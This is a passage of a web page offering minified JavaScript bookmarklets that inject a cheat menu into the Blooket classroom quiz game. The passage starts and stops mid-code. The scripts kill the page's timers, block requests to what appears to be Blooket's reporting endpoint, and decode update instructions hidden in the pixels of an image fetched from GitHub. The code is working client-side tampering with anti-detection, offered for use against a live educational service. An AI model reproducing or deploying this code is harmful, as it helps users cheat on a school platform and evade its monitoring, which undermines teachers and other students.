16px">Tower Defense 2</span>',['<img style="width: 30px; margin-right: 5px; rotate: 45deg" src="https://media.blooket.com/image/upload/v1593095354/Media/defense/missile.svg">'],N.defense2),f("Factory","https://media.blooket.com/image/upload/v1661496293/Media/uiTest/Factory_Upgrades.svg",N.factory),f('<span style="font-size: 19px">Fishing Frenzy</span>',"https://media.blooket.com/image/upload/v1661496295/Media/uiTest/Fish_Weight.svg",N.fishing),f("Flappy Blook","https://media.blooket.com/image/upload/v1645222006/Blooks/yellowBird.svg",N.flappy),f('<span style="font-size: 17px">Tower of Doom</span>',['<img style="height: 30px; margin-left: 5px; margin-right: 10px" src="https://media.blooket.com/image/upload/v1657235023/Media/survivor/cards-05.svg">'],N.doom),f('<span style="font-size: 18px">Crazy Kingdom</span>',"https://media.blooket.com/image/upload/v1655161323/Media/survivor/Jester_lvl1.svg",N.kingdom),f("Racing","https://media.blooket.com/image/upload/v1661496295/Media/uiTest/Racing_Progress.svg",N.racing),f("Battle Royale","https://media.blooket.com/image/upload/v1655936179/Media/br/VS_Lightning_Bolt_Bottom.svg",N.royale),f("Blook Rush","data:image/png;base64,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",N.rush),f('<span style="font-size: 18px">Monster Brawl</span>',['<img style="height: 28px; margin-left: 5px; margin-right: 8px" src="https://media.blooket.com/image/upload/v1655233787/Media/survivor/xp/Blue_xp_2.svg">'],N.brawl),f('<span style="font-size: 15px">Santa\'s Workshop</span>',['<img style="height: 28px; margin-left: 3px; margin-right: 6px" src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iaXNvLTg4NTktMSI/Pgo8IS0tIEdlbmVyYXRvcjogQWRvYmUgSWxsdXN0cmF0b3IgMTkuMC4wLCBTVkcgRXhwb3J0IFBsdWctSW4gLiBTVkcgVmVyc2lvbjogNi4wMCBCdWlsZCAwKSAgLS0+CjxzdmcgdmVyc2lvbj0iMS4xIiBpZD0iQ2FwYV8xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB4PSIwcHgiIHk9IjBweCIKCSB2aWV3Qm94PSIwIDAgNTEyIDUxMiIgc3R5bGU9ImVuYWJsZS1iYWNrZ3JvdW5kOm5ldyAwIDAgNTEyIDUxMjsiIHhtbDpzcGFjZT0icHJlc2VydmUiPgo8cGF0aCBzdHlsZT0iZmlsbDojRkZERTc2OyIgZD0iTTQzMy42NjEsMjM3LjgzN2MtNC40OTctNi4yMTQtNC44OC0xNC40NC0xLjIyNS0yMS4xODRjMTEuMzY1LTIwLjk2NywxNy43NzMtNDUuMDE0LDE3LjY1MS03MC41NjYKCUM0NDkuNzAxLDY0Ljg2OSwzODIuNTY0LTEuMDM3LDMwMS4zNTIsMC4wMTJjLTgwLjE4MywxLjAzNi0xNDQuODY0LDY2LjM1OS0xNDQuODY0LDE0Ni43ODhjMCwzMi41NTMsMTAuNTk1LDYyLjYzLDI4LjUyNiw4Ni45NzIKCWM3Ljc1MywxMC41MjYsNy4yMTMsMjUuMS0xLjU0MywzNC44MDhjLTEzLjI5NywxNC43NDEtNDEuOTM1LDI0LjMwNi0xMDIuNTk1LTE2LjI3N2MtNi42NTItNC40NS0xNC40NjItNi44NjQtMjIuNDY1LTYuODY0bDAsMAoJYy0xOS45NDcsMC0zNi44MzMsMTQuNjI4LTM5Ljc3NiwzNC4zNTdDNy44ODksMzUxLjgxNiw2LjUyLDUxMiwyMDYuOTY2LDUxMmg3MS4wODNDNDY2LjA1LDUxMiw1MTYuMTI3LDM1MS44MDEsNDMzLjY2MSwyMzcuODM3eiIvPgo8Zz4KCTxwYXRoIHN0eWxlPSJmaWxsOiNGRkI2NDE7IiBkPSJNMTgzLjQ3LDI2OC41ODJjLTMuOTMsNC4zNTctOS4yMDIsOC4yNjEtMTYuMjQ0LDEwLjU1MmMyNC40NjksNS44ODIsMzguODItMS4zMTksNDcuMTQ5LTEwLjU1MgoJCWM4Ljc1Ny05LjcwOCw5LjI5Ni0yNC4yODEsMS41NDMtMzQuODA4Yy0xNy45My0yNC4zNDItMjguNTI2LTU0LjQyLTI4LjUyNi04Ni45NzNjMC03NS44MzMsNTcuNTAzLTEzOC4yMjYsMTMxLjI4MS0xNDUuOTgKCQljLTUuNjg5LTAuNjAxLTExLjQ2Ny0wLjg4NC0xNy4zMjMtMC44MDljLTgwLjE4MywxLjAzNi0xNDQuODY0LDY2LjM1OS0xNDQuODY0LDE0Ni43ODhjMCwzMi41NTMsMTAuNTk1LDYyLjYzLDI4LjUyNiw4Ni45NzMKCQlDMTkyLjc2NiwyNDQuMywxOTIuMjI2LDI1OC44NzMsMTgzLjQ3LDI2OC41ODJ6Ii8+Cgk8cGF0aCBzdHlsZT0iZmlsbDojRkZCNjQxOyIgZD0iTTQ5LjUzOSwyNzkuNzk2YzIuMTM3LTE0LjMxNywxMS42MTgtMjUuOTQyLDI0LjI4Mi0zMS4yNDVjLTQuODY2LTIuMDIyLTEwLjA5MS0zLjExLTE1LjQxMi0zLjExCgkJbDAsMGMtMTkuOTQ3LDAtMzYuODMzLDE0LjYyOC0zOS43NzYsMzQuMzU3QzcuODg5LDM1MS44MTYsNi41Miw1MTIsMjA2Ljk2Niw1MTJoMzAuOTA1QzM3LjQyNSw1MTIsMzguNzk0LDM1MS44MTYsNDkuNTM5LDI3OS43OTZ6CgkJIi8+Cgk8cGF0aCBzdHlsZT0iZmlsbDojRkZCNjQxOyIgZD0iTTgwLjUxOCwzNDQuMzM2Yy04Ljc2Niw4LjY1Ni0xMC4yNzcsMjIuMjY4LTMuNTk4LDMyLjYxOQoJCWMxOS41MDQsMzAuMjI3LDY4LjM1MSw4Ni4yODMsMTYyLjM3Miw4Ni4yODNjNTcuMjU2LDAsMTE3Ljc5MS0zNS44MDksMTI5LjA2NC05NS4wOTdjOS4zMS00OC45NjYtMTkuMjQ2LTEwOC44MjEtNzUuMzMtMTA2LjI0NwoJCWMtNDEuMDk3LDEuODg3LTY1LjEzNSwzNy40MTUtOTkuODY1LDUzLjg0MWMtMjQuMzk4LDExLjU0LTUwLjg0NCwxOC42NTEtNzcuNjg3LDIxLjMwNwoJCUMxMDIuNjk4LDMzOC4zMDYsOTAuODA1LDMzNC4xNzgsODAuNTE4LDM0NC4zMzZ6Ii8+CjwvZz4KPHBhdGggc3R5bGU9ImZpbGw6IzM4NDg0QTsiIGQ9Ik0zODguMzk0LDExMC44MzNjLTMuNTAyLDAtNi42NzQtMi4zOTYtNy41MTMtNS45NTFsLTMuNzE1LTE1LjczCgljLTAuOTgxLTQuMTUzLDEuNTkxLTguMzE1LDUuNzQzLTkuMjk1YzQuMTUyLTAuOTc5LDguMzE1LDEuNTkxLDkuMjk1LDUuNzQzbDMuNzE1LDE1LjczYzAuOTgxLDQuMTUzLTEuNTkxLDguMzE1LTUuNzQzLDkuMjk1CglDMzg5LjU4LDExMC43NjUsMzg4Ljk4MiwxMTAuODMzLDM4OC4zOTQsMTEwLjgzM3oiLz4KPHBhdGggc3R5bGU9ImZpbGw6I0ZGQjY0MTsiIGQ9Ik00MjcuNjE4LDY4Ljk5NGMwLDAsMy4xOTgsNDUuODMyLTE4LjAzMyw2Ni41OTFjLTIxLjIzMSwyMC43NTksMTQuMTU0LDUzLjMxNCw1Ni4xNDUsMjIuNjQ2CgljNi4wMzItNC40MDUsMTIuMTQzLTcuMjA0LDE4LjE4NC04Ljc2OGM3Ljc3Ny0yLjAxMiwxMy4yNDMtOC45NjcsMTMuMjQzLTE2Ljk5OWwwLDBjMC03LjcyNC01LjAzMS0xNC41OTctMTIuNDM4LTE2Ljc4NgoJYy00LjkyNS0xLjQ1Ni0xMS4xOC0yLjMyNS0xOC41MTYtMS4zMjVjMCwwLDI1LjM5My0yMi4xMzgsMTkuMTE5LTQ3Ljc1M2MtMi4wMjctOC4yOC0xMS44NTYtMTEuNzI2LTE4LjgzNi02LjgzMgoJQzQ1Ny40NjEsNjYuMDk0LDQ0My40NTQsNzIuNzY0LDQyNy42MTgsNjguOTk0eiIvPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8L3N2Zz4K">'],N.workshop),f("Settings",null,N.settings,!0),L(l,c),L(e,c),window.addEventListener("keydown",j),c.addEventListener("mousemove",e=>{var t,o;"cheatName"!=e.target.className&&"scriptButton"!=e.target.className?"0"!=i.style.opacity&&(i.animate([{opacity:.9},{opacity:0}],{duration:200}),i.style.opacity="0"):(e="scriptButton"==e.target.className?e.target:e.target.parentElement,i.innerText==e.dataset.description&&"0.9"==i.style.opacity||(t=e.getBoundingClientRect(),o=e.offsetParent.getBoundingClientRect(),i.innerText=e.dataset.description,"0"==i.style.opacity&&(i.animate([{opacity:0},{opacity:.9}],{duration:200}),i.style.opacity="0.9"),i.style.left=t.x-o.x+(t.width-i.clientWidth)/2+"px",i.style.top=t.y-o.y+t.height+"px"))})};let u=new Image;u.src="https://raw.githubusercontent.com/Blooket-Council/Blooket-Cheats/main/autoupdate/timestamps/gui.png?"+Date.now(),u.crossOrigin="Anonymous",u.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(u,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",a,n=0;for(;n<t.length;){var r=String.fromCharCode(t[n% 4==3&&n++,n++]+256*t[n% 4==3&&n++,n++]);if(o+=r,"/"==r&&"*"==a)break;a=r}let s,i=1721843496807,l="There was an error checking for script updates. Run cheat anyway?";try{[s,i,l]=o.match(/LastUpdated: (.+?); ErrorMessage: "((.|\n)+?)"/)}catch(e){}(parseInt(i)<=1721843496807||c.contentWindow.confirm(l))&&d()},u.onerror=u.onabort=()=>{u.onerror=u.onabort=null,d(),document.querySelector("iframe").contentWindow.alert("It seems the GitHub is either blocked or down.\n\nIf it's NOT blocked, join the Discord server for updates\nhttps://discord.gg/jHjGrrdXP6\n(The cheat will still run after this alert)")}})();">
<p class="cheat-title">Blooket Cheats</p>
<p class="cheat-creator">By: 05konz (Blooket Council)</p>
</a>
<a class="cheat" href="javascript:(async()=>{_blsbu="https://example.com";var wfcall=window.fetch.call;if(window.fetch.call=function(){if(!arguments[1].includes("s.blooket.com/rc"))return wfcall.apply(this,arguments)},console.log("%c Blooket Cheats Plus %c\n\tBy DannyDan0167 on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),console.log("%c\tgui.js","color: #0bc2cf; font-size: 1rem"),console.log("%c\tStar the github repo!%c https://github.com/DannyDan0167/Blooket-Cheats-Plus","color: #ffd000; font-size: 1rem",""),document.querySelector("script[src*='bfs/index.js']")&&!window.clearId){for(var e,t,a,o,r,i,n,s,e=document.createElement("iframe"),t=(document.body.appendChild(e),window.clearId=window.setInterval((()=>{}),0));t--;)e.contentWindow.clearInterval.call(window,t);e.remove()}function l(e,t={},...o){var a=document.createElement(e);if("object"==typeof t.style){let e="";for(let o in t.style)e+=`${o.replace(/[A-Z]/g,(e=>"-"+e.toLowerCase()))}: ${t.style[o]}; `;t.style=e}for(let e in t)a[e]=t[e];for(let e of o)a.append(e);return a}let c={data:null,setItem(e,t){return e.split(".").reduce(((e,o,a,n)=>(++a==n.length&&(e[o]=t),e[o])),this.data),localStorage.setItem("JODGUISettings",JSON.stringify(this.data)),this.data},deleteItem(e){return e.split(".").reduce(((e,t,o,a)=>(++o==a.length&&delete e[t],e[t])),this.data),localStorage.setItem("JODGUISettings",JSON.stringify(this.data)),this.data},setData(e){this.data=e,localStorage.setItem("JODGUISettings",JSON.stringify(this.data))}};try{for(let e of(c.data=JSON.parse(localStorage.getItem("JODGUISettings")||"{}"),["backgroundColor","cheatList","contentBackground","defaultButton","disabledButton","enabledButton","infoColor","inputColor","textColor"]))c.data[e]&&(c.setItem("theme."+e,c.data[e]),c.deleteItem(e))}catch{c.setData({})}let p,u,h,m,$,g,y,b,v,_=l("div",{id:"JODGUI",style:{top:Math.max(10,window.innerHeight-600)/2+"px",left:Math.max(10,window.innerWidth-1e3)/2+"px",transform:`scale(${c.data.scale})`,position:"fixed",height:"80%",width:"80%",maxHeight:"600px",maxWidth:"1000px",zIndex:"999",display:"block"}},p=l("style",{id:"variables",innerHTML:`:root {--backgroundColor: ${c.data?.theme?.backgroundColor||"rgb(11, 194, 207)"};--infoColor: ${c.data?.theme?.infoColor||"#9a49aa"};--cheatList: ${c.data?.theme?.cheatList||"#9a49aa"};--defaultButton: ${c.data?.theme?.defaultButton||"#9a49aa"};--disabledButton: ${c.data?.theme?.disabledButton||"#A02626"};--enabledButton: ${c.data?.theme?.enabledButton||"#47A547"};--textColor: ${c.data?.theme?.textColor||"white"};--inputColor: ${c.data?.theme?.inputColor||"#7a039d"};--contentBackground: ${c.data?.theme?.contentBackground||"rgb(64, 17, 95)"};}`}),l("style",{innerHTML:'.alertList::-webkit-scrollbar{display:none;}.alertList{-ms-overflow-style: none;scrollbar-width: none;}.contentWrapper::-webkit-scrollbar{display:none;}.contentWrapper{-ms-overflow-style: none;scrollbar-width: none;}.cheatButton{position:relative;display:flex;flex-direction:row;align-items:center;min-height:40px;width:190px;margin:4px 0;padding-left:30px;box-sizing:border-box;cursor:pointer;user-select:none;text-decoration:none;border-top-right-radius:5px;border-bottom-right-radius:5px;background-color:transparent;color:var(--textColor);transition:.2s linear;font-size:20px;font-weight:400;font-family:Nunito;text-decoration-thickness:auto}.cheatButton:hover{background-color:var(--textColor);color:var(--defaultButton)}.cheatInput,select{min-width:200px;padding-block:5px;font-family:Nunito,sans-serif;font-weight:400;font-size:16px;background-color:var(--inputColor);box-shadow:inset 0 6px rgb(0 0 0 / 20%);margin:3px;color:var(--textColor)}.bigButton:hover{filter:brightness(110%);transform:translateY(-2px)}.bigButton:active{transform:translateY(2px)}.cheatList::-webkit-scrollbar{width:10px}.cheatList::-webkit-scrollbar-track{background:var(--cheatList)}.cheatList::-webkit-scrollbar-thumb{background:var(--cheatList);box-shadow: inset -10px 0 rgb(0 0 0 / 20%)}.cheatList::-webkit-scrollbar-thumb:hover{background:var(--cheatList); box-shadow: inset -10px 0 rgb(0 0 0 / 30%); }.scriptButton:hover{filter:brightness(120%)}.cheatInput{max-width:200px;border:none;border-radius:7px;caret-color:var(--textColor)}.cheatInput::placeholder{color:var(--textColor)}.cheatInput:focus,select:focus{outline:0}.cheatInput::-webkit-inner-spin-button,.cheatInput::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.cheatInput[type=number]{-moz-appearance:textfield}select{border:none;border-radius:7px;text-align:center}.scriptButton{align-items: center; box-sizing: border-box; display: flex; flex-direction: column; justify-content: center; margin: 10px; padding: 5px 5px 11px; position: relative; width: 250px; font-family: Nunito, sans-serif; font-weight: 400; color: var(--textColor); box-shadow: inset 0 -6px rgb(0 0 0 / 20%); border-radius: 7px; cursor: pointer; transition: filter .25s;}.tooltip::after {content: "";position: absolute;width: 10px;height: 10px;background-color: inherit;top: -5px;left: 50%;margin-left: -6px;transform: rotate(135deg)}'}),u=l("div",{style:{width:"100%",height:"100%",position:"relative",outline:"3px solid #3a3a3a",borderRadius:"15px",overflow:"hidden"}},l("div",{id:"background",style:{display:"block",top:"0",left:"0",height:"100%",overflowY:"hidden",overflowX:"hidden",position:"absolute",width:"100%",background:"var(--backgroundColor)",visibility:"visible"}},l("div",{id:"backgroundImage",style:{backgroundImage:"url(https://ac.blooket.com/dashboard/65a43218fd1cabe52bdf1cda34613e9e.png)",display:"block",height:"200%",position:"absolute",width:"200%",top:"50%",left:"50%",backgroundPositionX:"-100px",backgroundPositionY:"-100px",backgroundSize:"550px",visibility:"visible",transform:"translate(-50%,-50%) rotate(15deg)",appearance:"none",opacity:"0.175"}})),m=l("div",{id:"controls",style:{display:"flex",alignItems:"center",justifyContent:"center",paddingBottom:"8px",paddingInline:"15px",position:"absolute",left:"220px",top:"0",visibility:"visible",zIndex:"5",height:"52px",width:"max-content",background:"var(--infoColor)",boxShadow:"inset 0 -8px rgb(0 0 0 / 20%), 0 0 4px rgb(0 0 0 / 15%)",borderBottomRightRadius:"10px",color:"var(--textColor)",fontFamily:"Nunito, sans-serif",fontWeight:"700",userSelect:"text"},innerText:([{ctrl:e,shift:t,alt:a,key:o},{ctrl:r,shift:i,alt:n,key:s}]=[c.data.hide||{ctrl:!0,key:"e"},c.data.close||{ctrl:!0,key:"x"}],`${[e&&"Ctrl",t&&"Shift",a&&"Alt",o&&o.toUpperCase()].filter(Boolean).join(" + ")} to hide | ${[r&&"Ctrl",i&&"Shift",n&&"Alt",s&&s.toUpperCase()].filter(Boolean).join(" + ")} for quick disable Click and drag here`),update:({ctrl:e,shift:t,alt:o,key:a}={ctrl:!0,key:"e"},{ctrl:n,shift:r,alt:i,key:l}={ctrl:!0,key:"x"})=>m.innerText=`${[e&&"Ctrl",t&&"Shift",o&&"Alt",a&&a.toUpperCase()].filter(Boolean).join(" + ")} to hide | ${[n&&"Ctrl",r&&"Shift",i&&"Alt",l&&l.toUpperCase()].filter(Boolean).join(" + ")} for quick disable Click and drag here`}),l("div",{id:"credits",style:{display:"flex",alignItems:"center",justifyContent:"center",paddingBottom:"8px",position:"absolute",right:"0",top:"0",visibility:"visible",zIndex:"5",height:"47px",width:"280px",background:"var(--infoColor)",boxShadow:"inset 0 -8px rgb(0 0 0 / 20%), 0 0 4px rgb(0 0 0 / 15%)",borderBottomLeftRadius:"10px",color:"var(--textColor)",fontFamily:"Nunito, sans-serif",fontWeight:"700",userSelect:"text"},innerHTML:"GitHub - DannyDan0167",onclick:()=>window.open("https://github.com/DannyDan0167/Blooket-Cheats-Plus","_blank").focus()}),$=l("div",{id:"controlButtons",style:{display:"flex",alignItems:"center",justifyContent:"center",position:"absolute",right:"0",bottom:"0",visibility:"visible",zIndex:"5",height:"55px",width:"165px",background:"#none",borderLeft:"3px solid black",borderTop:"3px solid black",borderTopLeftRadius:"10px",color:"white",fontFamily:"Nunito, sans-serif",fontWeight:"700",userSelect:"text",overflow:"hidden",pointerEvents:"all"}},g=l("button",{style:{height:"55px",width:"55px",fontFamily:"Nunito",color:"white",backgroundColor:"#00a0ff",border:"none",fontSize:"2rem",cursor:"move"},innerHTML:"✥"}),l("button",{style:{height:"55px",width:"55px",fontFamily:"Nunito",color:"white",backgroundColor:"grey",border:"none",fontSize:"2rem",fontWeight:"bolder",cursor:"pointer"},innerHTML:"-",onclick:function(){let e=!1;return()=>{for(var t of[...u.children])t!=$&&(e?t.style.display=t.style._display:(t.style._display=t.style.display,t.style.display="none"));u.style.height=e?"100%":"55px",u.style.width=e?"100%":"165px",_.style.top=parseInt(_.style.top)+(_.offsetHeight-55)*(e?-1:1)+"px",_.style.left=parseInt(_.style.left)+(_.offsetWidth-165)*(e?-1:1)+"px",_.style.pointerEvents=e?"unset":"none",e=!e}}()}),l("button",{style:{height:"55px",width:"55px",fontFamily:"Nunito",color:"white",backgroundColor:"red",border:"none",fontSize:"2rem",fontWeight:"bolder",cursor:"pointer"},innerHTML:"X",onclick:D})),h=l("div",{className:"cheatList",style:{overflowY:"scroll",background:"var(--cheatList)",boxShadow:"inset -10px 0 rgb(0 0 0 / 20%)",zIndex:"5",width:"220px",position:"absolute",top:"0",left:"0",height:"100%",fontFamily:"Titan One",color:"var(--textColor)",fontSize:"40px",textAlign:"center",paddingTop:"20px",userSelect:"none",padding:"20px 10px 20px 0",boxSizing:"border-box",display:"flex",flexDirection:"column"},innerHTML:'<span style="text-shadow: 1px 1px rgb(0 0 0 / 40%); font-size: 